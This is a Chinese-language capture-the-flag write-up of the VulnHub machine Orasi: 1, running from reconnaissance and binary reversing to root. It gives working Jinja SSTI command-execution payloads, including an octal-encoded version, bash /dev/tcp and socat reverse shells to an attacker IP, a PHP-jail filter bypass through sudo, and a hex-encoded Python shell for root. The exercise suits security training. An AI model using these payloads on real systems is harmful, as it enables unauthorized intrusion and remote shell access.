攻擊機:虛擬機器器kali、本機win10。
靶機:Orasi: 1,下載地址:https://download.vulnhub.com/orasi/Orasi.ova,下載後直接vbox開啟即可。
知識點:hex編碼、ida逆向、AndroidKiller逆向、ffuf爆破、ssti漏洞、shell反彈、敏感資訊發現、資訊利用。
隱藏資訊:Hint : just one useless little dot,在下載時發現的。
使用nmap掃描下靶機地址,命令:nmap -sn 192.168.5.0/24,發現靶機地址:192.168.5.156。
使用nmap掃描下埠對應的服務:nmap -T4 -sV -p- -A 192.168.5.156,顯示開放了21埠、22埠、80埠、5000埠,開啟了ftp服務、ssh服務、http服務。其中ftp服務顯示允許匿名登入。
使用nmap獲得的資訊匿名登入ftp服務,命令:ftp 192.168.5.156,登入到ftp服務後發現一個url檔案,將該檔案下載到本地。
執行下載的url檔案,返回資訊,告訴我們有些事情不太明顯,將檔案複製到本地使用ida進行逆向,但是檢視其虛擬碼時未發現可以利用的資訊。
Sometimes things are not obvious
Element found: 36
#逆向的虛擬碼
int __cdecl main(int argc, const char **argv, const char **envp)
{
init = (__int64)malloc(8uLL);
*(_BYTE *)init = 111;
*(_DWORD *)(init + 4) = -1;
insert(1LL, 47LL);
insert(2LL, 115LL);
insert(42LL, 104LL);
insert(4LL, 52LL);
insert(12LL, 100LL);
insert(14LL, 48LL);
insert(17LL, 119LL);
insert(18LL, 36LL);
insert(19LL, 115LL);
puts("Sometimes things are not obvious");
item = search(18LL);
if ( item )
printf("Element found: %d\n", (unsigned int)*(char *)item);
else
puts("Element not found");
return 0;
}
習慣了先看虛擬碼,但是這裡沒發現什麼有用的資訊,後面在程式邏輯圖(ida view-1)中發現其暫存器的值連起來是:/sh4d0w$s,猜測是一個目錄資訊。
存取下80埠和5000埠的web服務並分別存取下/sh4d0w$s目錄,在http://192.168.5.156/得到一組資訊:6 6 1337leet,暫時不知道作用,在http://192.168.5.156:5000/sh4d0w$s得到提示資訊:not input,告訴我們缺少輸入。
那就直接使用ffuf進行爆破,命令:ffuf -w /usr/share/SecLists/Discovery/Web-Content/common.txt -u 'http://192.168.5.156:5000/sh4d0w\$s?FUZZ=../../../../../etc/passwd' -fs 8,但是未爆破出來。
後面想到在http://192.168.5.156/得到一組資訊:6 6 1337leet,這裡想了一下應該是告訴我們引數是6位,由1337leet中的六位組成的意思,後面想到了字典生成工具crunch,那就生成一個字典,命令:crunch 6 6 1337leet > cs.txt,然後繼續使用ffuf進行爆破,最後成功獲得引數:l333tt。
在http://192.168.5.156:5000/sh4d0w$s頁面傳遞l333tt引數為id,http://192.168.5.156:5000/sh4d0w$s?l333tt=id,但是返回了傳入的值,未進行執行。
測試下是否是ssti注入漏洞,將傳遞的id修改為:{{3*3}},發現3*3被執行,因此這裡存在ssti注入漏洞。
在網上查詢下ssti注入可以利用的語句,然後進行存取看是否可以正常執行我們輸入的命令。
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("id").read().zfill(417)}}{%endif%}{% endfor %}
現在可以執行我們的命令了那我們就直接進行shell反彈,這裡需要對shell反彈語句進行編碼,然後在靶機中開啟對6688埠的監聽,然後存取:http://192.168.5.156:5000/sh4d0w$s?l333tt={%%20for%20x%20in%20().__class__.__base__.__subclasses__()%20%}{%%20if%20%22warning%22%20in%20x.__name__%20%}{{x()._module.__builtins__[%27__import__%27](%27os%27).popen(%22\142\141\163\150\40\55\143\40\47\142\141\163\150\40\55\151\40\76\46\40\57\144\145\166\57\164\143\160\57\61\71\62\56\61\66\70\56\65\56\61\65\60\57\66\66\70\70\40\60\76\46\61\47%20%22).read().zfill(417)}}{%endif%}{%%20endfor%20%}即可獲得shell許可權。
#字元編碼程式碼,替換下strings即可,後面還要用到這個
oct_result,dec_result,hex_result,bin_result = '','','',''
strings = "import os;os.system('/bin/bash -i');"
#bash -i >& /dev/tcp/192.168.5.150/6688 0>&1
for string in strings:
one_char = ord(string)
dec_result = dec_result + str(one_char) + ' '
oct_result = oct_result + str(oct(one_char).replace('0o','\\'))
hex_result = hex_result + hex(one_char).replace('0x','')
bin_result = bin_result + bin(one_char) + ' '
print('十進位制資料:' + dec_result)
print('八進位制資料:' + oct_result)
print('十六進位制資料:' + hex_result)
print('二進位制資料:' + bin_result)
#原語句
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("bash -c 'bash -i >&/dev/tcp/192.168.5.150/6688 0>&1'").read().zfill(417)}}{%endif%}{% endfor %}
#shell反彈語句編碼後的語句
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("\142\141\163\150\40\55\143\40\47\142\141\163\150\40\55\151\40\76\46\40\57\144\145\166\57\164\143\160\57\61\71\62\56\61\66\70\56\65\56\61\65\60\57\66\66\70\70\40\60\76\46\61\47
").read().zfill(417)}}{%endif%}{% endfor %}
使用sudo -l檢視下當前賬戶是否存在可以使用的特權命令,發現存在:(kori) NOPASSWD: /bin/php /home/kori/jail.php *。
分析下jail.php檔案,使用exec執行了我們輸入的引數,但是對引數進行了過濾,不能出現|bash|eval|nc|whoami等字元。
<?php
array_shift($_SERVER['argv']);
$var = implode(" ", $_SERVER['argv']);
if($var == null) die("Orasis Jail, argument missing\n");
function filter($var) {
if(preg_match('/(`|bash|eval|nc|whoami|open|pass|require|include|file|system|\/)/i', $var)) {
return false;
}
return true;
}
if(filter($var)) {
$result = exec($var);
echo "$result\n";
echo "Command executed";
} else {
echo "Restricted characters has been used";
}
echo "\n";
?>
開始使用下面幾個要麼能連但是許可權不對,要不就連上之後無法執行命令,接著換shell語句嘗試,最後發現socat TCP:192.168.5.150:8899 EXEC:sh可以,然後獲得新的shell許可權併成功提權到kori許可權。
#出現問題
sudo -u kori /bin/php /home/kori/jail.php sh -i >& /dev/tcp/192.168.5.150/8899 0>&1
sudo -u kori /bin/php /home/kori/jail.php 0<&196;exec 196<>/dev/tcp/192.168.5.150/88991; sh <&196 >&196 2>&196
#最後發現這個可以
sudo -u kori /bin/php /home/kori/jail.php socat TCP:192.168.5.150:8899 EXEC:sh
繼續使用sudo -l檢視下當前賬戶是否存在可以使用的特權命令,發現存在:(irida) NOPASSWD: /usr/bin/cp /home/irida/irida.apk /home/kori/irida.apk。
那就直接將該apk檔案複製到/home/kori目錄下,命令:sudo -u irida /usr/bin/cp /home/irida/irida.apk /home/kori/irida.apk,但是顯示不被允許。
這裡應該是irida賬戶缺少對kori目錄的寫入許可權,那我們就賦予irida賬戶寫入許可權,命令chmond o+w /home/kori,然後建立一個irida.apk檔案,命令:touch irida.apk,然後賦予777許可權,不然複製的檔案還是缺少許可權,然後將該檔案複製過來,命令:sudo -u irida /usr/bin/cp /home/irida/irida.apk /home/kori/irida.apk。
在靶機中開啟http服務:python3 -m http.server,將apk檔案下載到本地,然後使用AndroidKiller進行逆向分析。使用AndroidKiller工具時需要安裝java環境並且需要替換下*\AndroidKiller\bin\apktool\apktool目錄下的檔案並修改apktool.bat、apktool.ini的指向,不然無法逆向時會失敗。替換的檔案地址:連結:https://pan.baidu.com/s/1QEM6bYkcHLPtz6PkFlwC5Q,提取碼:upfn。
在找到的檔案中右鍵檢視-檢視原始碼中觀察原始碼資訊,程式碼的意思是:傳入了1#2#3#4#5,然後以#進行拆分,然後對五個引數賦值,再然後通過.將五個引數連線起來,結果就是:eye.of.the.tiger.()。
直接使用eye.of.the.tiger.()作為密碼來切換到irida賬戶時會報錯,這時想起來開始在下載頁面看到的提示資訊:Hint : just one useless little dot,告訴我們只有一個無用的點,那我們依次嘗試,最後發現正確的密碼是:eye.of.the.tiger(),然後成功切換到irida賬戶。
獲得irida賬戶許可權後在/home/irida目錄下讀取user.txt檔案,成功獲得flag值。
繼續使用sudo -l檢視下當前賬戶是否存在可以使用的特權命令,發現存在:(root) NOPASSWD: /usr/bin/python3 /root/oras.py。
那我們就直接執行下/root/oras.py檔案,命令:sudo /usr/bin/python3 /root/oras.py,隨便輸入引數,回顯告訴我們要輸入hexstr。
那我們隨便輸入一個hex字元:69進行測試,根據報錯資訊我們得知執行的是exec函數。
那就將import os;os.system("/bin/bash -i");程式碼進行hash編碼,然後輸入執行,成功提權到root賬戶。
獲得root許可權後在/root目錄下發現root.txt檔案,讀取該檔案成功獲得flag值。